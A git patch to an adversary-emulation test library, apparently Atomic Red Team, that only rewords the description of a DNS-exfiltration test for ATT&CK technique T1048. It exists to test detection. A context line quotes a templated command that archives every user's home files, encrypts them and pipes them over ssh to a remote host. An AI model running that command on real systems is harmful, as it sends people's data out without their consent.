From be29bb4b14b44cd9712230b92323d31d4006addb Mon Sep 17 00:00:00 2001 From: piotranalyst <139813981+piotranalyst@users.noreply.github.com> Date: Wed, 10 Jul 2024 16:08:57 +0100 Subject: [PATCH] Update T1048.md (#2806) * Update T1048.md This is a grammatically correct change. * update yaml --------- Co-authored-by: Hare Sudhan Co-authored-by: Carrie Roberts --- atomics/T1048/T1048.md | 2 +- atomics/T1048/T1048.yaml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/atomics/T1048/T1048.md b/atomics/T1048/T1048.md index 877e7deb..2a838bee 100644 --- a/atomics/T1048/T1048.md +++ b/atomics/T1048/T1048.md @@ -96,7 +96,7 @@ tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh #{user_name}@#{
## Atomic Test #3 - DNSExfiltration (doh) -DNSExfiltrator allows for transferring (exfiltrate) a file over a DNS request covert channel. This is basically a data leak testing tool allowing to exfiltrate data over a covert channel. +DNSExfiltrator enables the transfer (exfiltration) of a file over a DNS request covert channel. This is basically a data leak testing tool allowing to exfiltrate data over a covert channel. !!! Test will fail without a domain under your control with A record and NS record !!! See this github page for more details - https://github.com/Arno0x/DNSExfiltrator diff --git a/atomics/T1048/T1048.yaml b/atomics/T1048/T1048.yaml index 867d8b04..361bfc5b 100644 --- a/atomics/T1048/T1048.yaml +++ b/atomics/T1048/T1048.yaml @@ -52,7 +52,7 @@ atomic_tests: - name: DNSExfiltration (doh) auto_generated_guid: c943d285-ada3-45ca-b3aa-7cd6500c6a48 description: | - DNSExfiltrator allows for transferring (exfiltrate) a file over a DNS request covert channel. This is basically a data leak testing tool allowing to exfiltrate data over a covert channel. + DNSExfiltrator enables the transfer (exfiltration) of a file over a DNS request covert channel. This is basically a data leak testing tool allowing to exfiltrate data over a covert channel. !!! Test will fail without a domain under your control with A record and NS record !!! See this github page for more details - https://github.com/Arno0x/DNSExfiltrator supported_platforms: